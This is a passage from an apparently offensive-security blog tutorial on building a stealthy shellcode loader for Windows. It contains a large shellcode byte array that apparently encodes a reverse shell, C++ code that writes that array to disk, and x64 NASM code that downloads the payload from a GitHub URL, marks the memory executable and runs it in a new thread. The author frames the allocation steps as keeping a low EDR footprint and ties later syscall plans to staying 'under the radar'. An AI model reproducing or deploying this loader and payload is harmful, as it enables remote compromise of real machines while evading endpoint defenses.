<span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xf1</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x57</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x6f</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x6b</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span>
<span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe2</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xc6</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xf1</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span>
<span class="mh">0x10</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x57</span><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x43</span><span class="p">,</span><span class="mh">0x6f</span><span class="p">,</span><span class="mh">0x6e</span><span class="p">,</span><span class="mh">0x6e</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe2</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd4</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xc7</span><span class="p">,</span>
<span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xee</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0xb9</span><span class="p">,</span><span class="mh">0x98</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x29</span><span class="p">,</span><span class="mh">0xcc</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8d</span><span class="p">,</span><span class="mh">0x14</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0xb9</span><span class="p">,</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x28</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span>
<span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd7</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xc4</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0xb1</span><span class="p">,</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xd2</span><span class="p">,</span><span class="mh">0xb2</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xb0</span><span class="p">,</span><span class="mh">0x06</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span>
<span class="mh">0x89</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x28</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xc4</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xc4</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xc5</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span>
<span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x23</span><span class="p">,</span><span class="mh">0x29</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xc7</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x80</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span>
<span class="mh">0xfe</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xf7</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8d</span><span class="p">,</span><span class="mh">0x14</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xb0</span><span class="p">,</span><span class="mh">0x16</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span>
<span class="mh">0x83</span><span class="p">,</span><span class="mh">0xc4</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd7</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0xc4</span><span class="p">,</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0x9c</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0x9b</span><span class="p">,</span><span class="mh">0xd1</span><span class="p">,</span><span class="mh">0x9a</span><span class="p">,</span><span class="mh">0x87</span><span class="p">,</span><span class="mh">0x9a</span><span class="p">,</span>
<span class="mh">0xff</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xf7</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe1</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x55</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x55</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x55</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0xb0</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span>
<span class="mh">0x66</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0xb0</span><span class="p">,</span><span class="mh">0x68</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe7</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x2d</span><span class="p">,</span>
<span class="mh">0xff</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc8</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x57</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span>
<span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xca</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd3</span>
    <span class="p">};</span>

    <span class="n">std</span><span class="o">::</span><span class="n">ofstream</span> <span class="nf">file</span><span class="p">(</span><span class="s">"c:</span><span class="se">\\</span><span class="s">users</span><span class="se">\\</span><span class="s">robbi</span><span class="se">\\</span><span class="s">reg.dyno"</span><span class="p">,</span> <span class="n">std</span><span class="o">::</span><span class="n">ios</span><span class="o">::</span><span class="n">binary</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">file</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="k">const</span> <span class="kt">char</span><span class="o">*&gt;</span><span class="p">(</span><span class="n">shellcode</span><span class="p">.</span><span class="n">data</span><span class="p">()),</span> <span class="n">shellcode</span><span class="p">.</span><span class="n">size</span><span class="p">());</span>
    <span class="n">file</span><span class="p">.</span><span class="n">close</span><span class="p">();</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So there you have it.  The above code template is the start to this journey I’m going to take you on 😆  Ultimately, I want to load shellcode in memory with a custom shellcode loader.  However, with some added flair.  LOL.  If it were just the above code, this would be a very boring post and also somewhat lackluster in my opinion.  We’re going to take things to the next level!  Here’s what I’ve got for you:</p>

<ul>
  <li>Convert this C++ in-memory shellcode loader to x64 assembly</li>
  <li>Convert the x64 assembly to PIC (position independent code) shellcode that can be loaded using any method we choose and is not dependant on any fixed memory addresses or static variables, etc</li>
  <li>To help us remain under the radar so to speak, we will also use syscalls to load and execute our PIC shellcode in memory.</li>
  <li>Lastly, we profit and get a reverse shell 😸</li>
</ul>

<p>Also for the record, this is fairly over the top I realize 😆  If you’re a fan of The Big Bang Theory, it’s basically this clip in a nutshell.  We’re doing something that doesn’t require nearly this much work but I’m doing it “because we can” lol. Also this will help briefly go over PIC shellcode and Direct Syscall stuff which I love.  All in one blog post 😸</p>

<iframe width="1080" height="720" src="https://www.youtube.com/embed/BVd-rYIqSy8" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="">
</iframe>

<p>Also, if you ever want to go deeper into any topic I write about, feel free to check out my membership offering.  I don’t mind helping here and there with quick questions via discord, but I think I owe it to you and myself to spend the proper time it takes to teach you a given topic thoroughly.  That’s why I toss that out there.  No pressure, but it’s there should anyone ever need it.</p>

<h2 id="converting-the-c-in-memory-shellcode-loader-to-x64-assembly">Converting the C++ in-memory shellcode loader to x64 Assembly</h2>

<p>We’re going to start with our nasm x64 assembly code to represent the base skeleton for our in memory shellcode download and execute functionality.  The code below uses externs to give you a nice overview for how this will play out.  Once again, our aim here is to reproduce the previously captured C++ in memory shellcode loader with an x64 assembly version.  I’m not going to go over all the code in great detail as I have a lot of ground to cover in today’s post.  But, I do plan to explain this and more in my upcoming Shellcode video series where I teach you how to write x64 Assembly / Shellcode step by step.  It will go way beyond even what I covered on my blog.  Stay Tuned!</p>

<p>Okay here’s the code for Phase 1 of our in-memory shellcode loader.  I’ll add comments throughout:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">bits</span> <span class="mi">64</span>
<span class="nf">extern</span> <span class="nv">GetLastError</span>
<span class="nf">extern</span> <span class="nv">InternetOpenA</span>
<span class="nf">extern</span> <span class="nv">memcpy</span>
<span class="nf">extern</span> <span class="nv">RtlMoveMemory</span>
<span class="nf">extern</span> <span class="nv">InternetOpenUrlA</span>
<span class="nf">extern</span> <span class="nv">InternetReadFile</span>
<span class="nf">extern</span> <span class="nv">InternetCloseHandle</span>
<span class="nf">extern</span> <span class="nb">Cl</span><span class="nv">oseHandle</span>
<span class="nf">extern</span> <span class="nv">ExitProcess</span>
<span class="nf">extern</span> <span class="nv">VirtualAlloc</span>
<span class="nf">extern</span> <span class="nv">VirtualFree</span>
<span class="nf">extern</span> <span class="nv">VirtualProtect</span>
<span class="nf">extern</span> <span class="nv">CreateThread</span>
<span class="nf">extern</span> <span class="nv">WaitForSingleObject</span>

<span class="c1">;nasm -f win64 [downloader.asm]</span>
<span class="c1">;x86_64-w64-mingw32-gcc downloader.obj -o downloader.exe -lwininet -lkernel32</span>

<span class="nf">section</span> <span class="nv">.data</span>
    <span class="nf">agent</span> <span class="nv">db</span> <span class="s">"Mozilla/5.0"</span><span class="p">,</span><span class="mi">0</span>

    <span class="c1">; this linked file below contains our reverse shell shellcode, also PIC friendly</span>
    <span class="c1">;***********************************************************************</span>
    <span class="nf">url</span>   <span class="nv">db</span> <span class="err">"</span><span class="nv">https</span><span class="p">:</span><span class="o">//</span><span class="nv">github.com</span><span class="o">/</span><span class="nv">g3tsyst3m</span><span class="o">/</span><span class="nv">undertheradar</span><span class="o">/</span><span class="nv">raw</span><span class="o">/</span><span class="nv">refs</span><span class="o">/</span><span class="nv">heads</span><span class="o">/</span><span class="nv">main</span><span class="o">/</span><span class="nv">reg.dyno</span><span class="err">"</span><span class="p">,</span><span class="mi">0</span>

<span class="c1">;These are uninitialized variables that will get populated later</span>
<span class="c1">;***************************************************************</span>
<span class="nf">section</span> <span class="nv">.bss</span>
<span class="nf">hInternet</span>  <span class="nv">resq</span> <span class="mi">1</span>
<span class="nf">hUrl</span>       <span class="nv">resq</span> <span class="mi">1</span>
<span class="nf">hThread</span>    <span class="nv">resq</span> <span class="mi">1</span>
<span class="nf">mem_buffer</span> <span class="nv">resq</span> <span class="mi">1</span>
<span class="nf">oldProtect</span> <span class="nv">resd</span> <span class="mi">1</span>
<span class="kt">byte</span><span class="nf">sRead</span>  <span class="nv">resd</span> <span class="mi">1</span>
<span class="nf">totalBytes</span> <span class="nv">resd</span> <span class="mi">1</span>
<span class="nf">chunk</span>      <span class="nv">resb</span> <span class="mi">4096</span>

<span class="nf">section</span> <span class="nv">.text</span>
<span class="nf">global</span> <span class="nv">main</span>
<span class="nl">main:</span>
    <span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x28</span>
    <span class="nf">and</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0xFFFFFFFFFFFFFFF0</span>

    <span class="c1">; ---- InternetOpenA ----</span>
    <span class="c1">; initiate a handle to begin preparing for our URL</span>

    <span class="nf">lea</span> <span class="nb">rcx</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">agent</span><span class="p">]</span>     <span class="c1">; lpszAgent</span>
    <span class="nf">mov</span> <span class="nb">edx</span><span class="p">,</span> <span class="mi">1</span>               <span class="c1">; INTERNET_OPEN_TYPE_DIRECT</span>
    <span class="nf">xor</span> <span class="nv">r8</span><span class="p">,</span> <span class="nv">r8</span>               <span class="c1">; lpszProxy</span>
    <span class="nf">xor</span> <span class="nv">r9</span><span class="p">,</span> <span class="nv">r9</span>               <span class="c1">; lpszProxyBypass</span>
    <span class="nf">mov</span> <span class="kt">qword</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">0x20</span><span class="p">],</span> <span class="mi">0</span> <span class="c1">; dwFlags</span>
    <span class="nf">call</span> <span class="nv">InternetOpenA</span>
    <span class="nf">mov</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">hInternet</span><span class="p">],</span> <span class="nb">rax</span>             <span class="c1">; hInternet</span>

    <span class="c1">; ---- InternetOpenUrlA ----</span>
    <span class="c1">; Opens a handle to our github URL</span>

    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">hInternet</span><span class="p">]</span>           <span class="c1">; hInternet</span>
    <span class="nf">lea</span> <span class="nb">rdx</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">url</span><span class="p">]</span>                 <span class="c1">; lpszUrl</span>
    <span class="nf">xor</span> <span class="nb">r8d</span><span class="p">,</span> <span class="nb">r8d</span>                       <span class="c1">; lpszHeaders</span>
    <span class="nf">xor</span> <span class="nb">r9d</span><span class="p">,</span> <span class="nb">r9d</span>                       <span class="c1">; dwHeadersLength</span>
    <span class="nf">mov</span> <span class="kt">dword</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">0x20</span><span class="p">],</span> <span class="mh">0x4000000</span>    <span class="c1">; dwFlags</span>
    <span class="nf">mov</span> <span class="kt">qword</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">0x28</span><span class="p">],</span><span class="mi">0</span>             <span class="c1">; dwContext</span>
    <span class="nf">call</span> <span class="nv">InternetOpenUrlA</span>
    <span class="nf">mov</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">hUrl</span><span class="p">],</span> <span class="nb">rax</span>                       <span class="c1">; hUrl</span>

    <span class="c1">;******************************************************************************************************</span>
    <span class="c1">; download the file in chunks.  the data remains resident in memory and never touches disk</span>
    <span class="c1">; we loop until we download all the shellcode and then save the memory location for the downloaded data</span>
    <span class="c1">;******************************************************************************************************</span>
    <span class="nl">read_loop:</span>
    <span class="c1">; ---- InternetReadFile ----</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">hUrl</span><span class="p">]</span>                   <span class="c1">; HINTERNET hUrl</span>
    <span class="nf">lea</span> <span class="nb">rdx</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nb">ch</span><span class="nv">unk</span><span class="p">]</span>                  <span class="c1">; LPVOID lpBuffer</span>
    <span class="nf">mov</span> <span class="nb">r8d</span><span class="p">,</span> <span class="mi">4096</span>                     <span class="c1">; DWORD dwNumberOfBytesToRead</span>
    <span class="nf">lea</span> <span class="nv">r9</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="kt">byte</span><span class="nv">sRead</span><span class="p">]</span>               <span class="c1">; LPDWORD lpdwNumberOfBytesRead</span>
    <span class="nf">xor</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rax</span>
    <span class="nf">call</span> <span class="nv">InternetReadFile</span>
    <span class="nf">test</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">eax</span>
    <span class="nf">je</span> <span class="nv">read_done</span>
    <span class="nf">cmp</span> <span class="kt">dword</span> <span class="p">[</span><span class="nv">rel</span> <span class="kt">byte</span><span class="nv">sRead</span><span class="p">],</span> <span class="mi">0</span>
    <span class="nf">jbe</span> <span class="nv">read_done</span>

    <span class="nf">mov</span> <span class="nb">ecx</span><span class="p">,</span> <span class="kt">dword</span> <span class="p">[</span><span class="nv">rel</span> <span class="kt">byte</span><span class="nv">sRead</span><span class="p">]</span>        <span class="c1">; load the DWORD from [r9] into ECX (the total bytes for our shellcode!)</span>
    <span class="nf">mov</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">totalBytes</span><span class="p">],</span> <span class="nb">ecx</span>             <span class="c1">; store that value into totalBytes</span>

   <span class="nf">jmp</span> <span class="nv">read_loop</span>

    <span class="nl">read_done:</span>
    <span class="c1">; ---- Close handles ----</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">hUrl</span><span class="p">]</span>
    <span class="nf">call</span> <span class="nv">InternetCloseHandle</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">hInternet</span><span class="p">]</span>
    <span class="nf">call</span> <span class="nv">InternetCloseHandle</span>

    <span class="c1">; ---- Allocate memory ----</span>
    <span class="c1">; allocate memory for our shellcode and make the memory location read/write for now.  less of a footprint for EDR</span>

    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="mi">0</span>                    <span class="c1">; LPVOID lpAddress = NULL</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mh">0x5000</span>               <span class="c1">; SIZE_T dwSize = 20 KB for shellcode</span>
    <span class="nf">mov</span> <span class="nb">r8d</span><span class="p">,</span> <span class="mh">0x3000</span>               <span class="c1">; MEM_COMMIT | MEM_RESERVE</span>
    <span class="nf">mov</span> <span class="nb">r9d</span><span class="p">,</span> <span class="mh">0x04</span>                 <span class="c1">; PAGE_READWRITE temporarily</span>
    <span class="nf">call</span> <span class="nv">VirtualAlloc</span>
    <span class="nf">mov</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">mem_buffer</span><span class="p">],</span> <span class="nb">rax</span>

    <span class="c1">; ---- Copy shellcode ----</span>
    <span class="c1">; Normally use memcpy(mem_buffer, chunk, bytesRead) or multiple chunks</span>
    <span class="c1">; Decided to use RtlMoveMemory instead :)</span>
    
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">mem_buffer</span><span class="p">]</span>          <span class="c1">; destination</span>
    <span class="nf">lea</span> <span class="nb">rdx</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nb">ch</span><span class="nv">unk</span><span class="p">]</span>               <span class="c1">; source</span>
    <span class="nf">mov</span> <span class="nb">r8d</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">totalBytes</span><span class="p">]</span>                      <span class="c1">; size</span>
    <span class="nf">call</span> <span class="nv">RtlMoveMemory</span>

    <span class="c1">; ---- Set executable ----</span>
    <span class="c1">; now that the shellcode data is now stored in the assigned memory address, let's make that memory address executable</span>
    <span class="nf">xor</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nb">rdx</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">mem_buffer</span><span class="p">]</span>
    <span class="nf">mov</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">totalBytes</span><span class="p">]</span>
    <span class="nf">mov</span> <span class="nb">r8d</span><span class="p">,</span> <span class="mh">0x20</span>                  <span class="c1">; PAGE_EXECUTE_READ</span>
    <span class="nf">lea</span> <span class="nv">r9</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">oldProtect</span><span class="p">]</span>
    <span class="nf">call</span> <span class="nv">VirtualProtect</span>

    <span class="c1">; ---- Create thread ----</span>
    <span class="c1">; point a thread to the memory address of our shellcode and execute it!</span>
    <span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>                   <span class="c1">; LPSECURITY_ATTRIBUTES = NULL</span>
    <span class="nf">xor</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nb">rdx</span>                   <span class="c1">; dwStackSize = 0</span>
    <span class="nf">mov</span> <span class="nv">r8</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">mem_buffer</span><span class="p">]</span>           <span class="c1">; LPTHREAD_START_ROUTINE</span>
    <span class="nf">xor</span> <span class="nv">r9</span><span class="p">,</span> <span class="nv">r9</span>                     <span class="c1">; lpParameter = NULL</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">0</span>
    <span class="nf">call</span> <span class="nv">CreateThread</span>
    <span class="nf">mov</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">hThread</span><span class="p">],</span> <span class="nb">rax</span>

    <span class="c1">; ---- Wait for shellcode ----</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">hThread</span><span class="p">]</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mh">0xFFFFFFFF</span>            <span class="c1">; INFINITE</span>
